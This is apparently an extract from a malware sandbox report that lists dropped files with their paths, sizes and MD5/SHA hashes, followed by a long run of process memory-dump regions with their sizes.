b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7165d1b9fd1ae46063c336fd4133d20a

SHA1
7753b95417d8f6a0b31843db2284aaeea8a2f67e

SHA256
be3e660b1dce210f9ee874725ccf4c91e8b66ee1af34326fba74f17327a0478d

SHA512
eff15ca037dbd9a994eafeb6d3136cb41396698d41184e1c9e53ab7614f8cac65f80cbde60dbcffcb2e328033e66653fbbb5f3c8fc7e61b4e3f74db1e3f307fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndbphthb.2t1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
fc1eb5010b6ad55adc66af2a5416b776

SHA1
268d970aae8bbbd076a1c34b41d6c9fbc6ebfe88

SHA256
3f4cb13b4f1e1fd40d1f554875df908dab5bf3233300214e9572d74c86657da9

SHA512
f707389df8ef9d805da128675dca3dd6ab54cf8b0b271c31fc2f886c096fbb22dc27b5767e2c1c433ad51835f874a9224cb064ea701b54b3d64e381d2fc9a77f

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
626ef26345fa2797be2e286c0d21fa78

SHA1
7bd5988cbc7e3339111bc828347ec1629c50d1ab

SHA256
3490f46ccbf7ed567fde931faa66e8013d1731045a3d4dcee82c2f9f3cac5308

SHA512
7b74ec6a78e3f885faf77031f2d505a57d748584e5bd222706d91332245e8555e15dde1d860b68656371f5bd813e20d48ec25e8202897fac3af2d90941ef66a4

Download Submit
memory/828-107-0x000001D717670000-0x000001D717690000-memory.dmp

Filesize
128KB

Download
memory/828-112-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-166-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-164-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-162-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-160-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-158-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-156-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-154-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-152-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-150-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-148-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-146-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-144-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-142-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-140-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-138-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-110-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-134-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-132-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-109-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-128-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-126-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-124-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-105-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-122-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-120-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-118-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-116-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-130-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-136-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/828-114-0x00007FF604F90000-0x00007FF605784000-memory.dmp

Filesize
8.0MB

Download
memory/1616-15-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/1616-13-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/1616-1-0x00007FFF5F423000-0x00007FFF5F425000-memory.dmp

Filesize
8KB

Download
memory/1616-11-0x0000025D9C9C0000-0x0000025D9C9E2000-memory.dmp

Filesize
136KB

Download
memory/1616-12-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/1708-0-0x00007FF771270000-0x00007FF771481000-memory.dmp

Filesize
2.1MB

Download
memory/1708-34-0x00007FF771270000-0x00007FF771481000-memory.dmp

Filesize
2.1MB

Download
memory/1784-106-0x00007FF70AC70000-0x00007FF70AE81000-memory.dmp

Filesize
2.1MB

Download
memory/1784-47-0x00007FF70AC70000-0x00007FF70AE81000-memory.dmp

Filesize
2.1MB

Download
memory/4500-97-0x000002A84AD40000-0x000002A84ADF5000-memory.dmp

Filesize
724KB

Download
memory/4752-32-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4752-27-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4752-17-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4752-29-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4752-30-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4752-16-0x00007FFF5F420000-0x00007FFF5FEE1000-memory.dmp

Filesize
10.8MB

Download
memory/4796-108-0x00007FF680610000-0x00007FF680626000-memory.dmp

Filesize
88KB

Download
memory/4796-113-0x00007FF680610000-0x00007FF680626000-memory.dmp

Filesize
88KB

Download
memory/4892-72-0x0000017A7CA20000-0x0000017A7CA28000-memory.dmp

Filesize
32KB

Download
memory/4892-70-0x0000017A7CA10000-0x0000017A7CA1A000-memory.dmp

Filesize
40KB

Download
memory/4892-73-0x0000017A7CA50000-0x0000017A7CA56000-memory.dmp

Filesize
24KB

Download
memory/4892-67-0x0000017A7C800000-0x0000017A7C8B5000-memory.dmp

Filesize
724KB

Download
memory/4892-71-0x0000017A7CA70000-0x0000017A7CA8A000-memory.dmp

Filesize
104KB

Download
memory/4892-66-0x0000017A7C7E0000-0x0000017A7C7FC000-memory.dmp

Filesize
112KB

Download
memory/4892-68-0x0000017A7C8C0000-0x0000017A7C8CA000-memory.dmp

Filesize
40KB

Download
memory/4892-69-0x0000017A7CA30000-0x0000017A7CA4C000-memory.dmp

Filesize
112KB

Download
memory/4892-74-0x0000017A7CA60000-0x0000017A7CA6A000-memory.dmp

Filesize
40KB

Download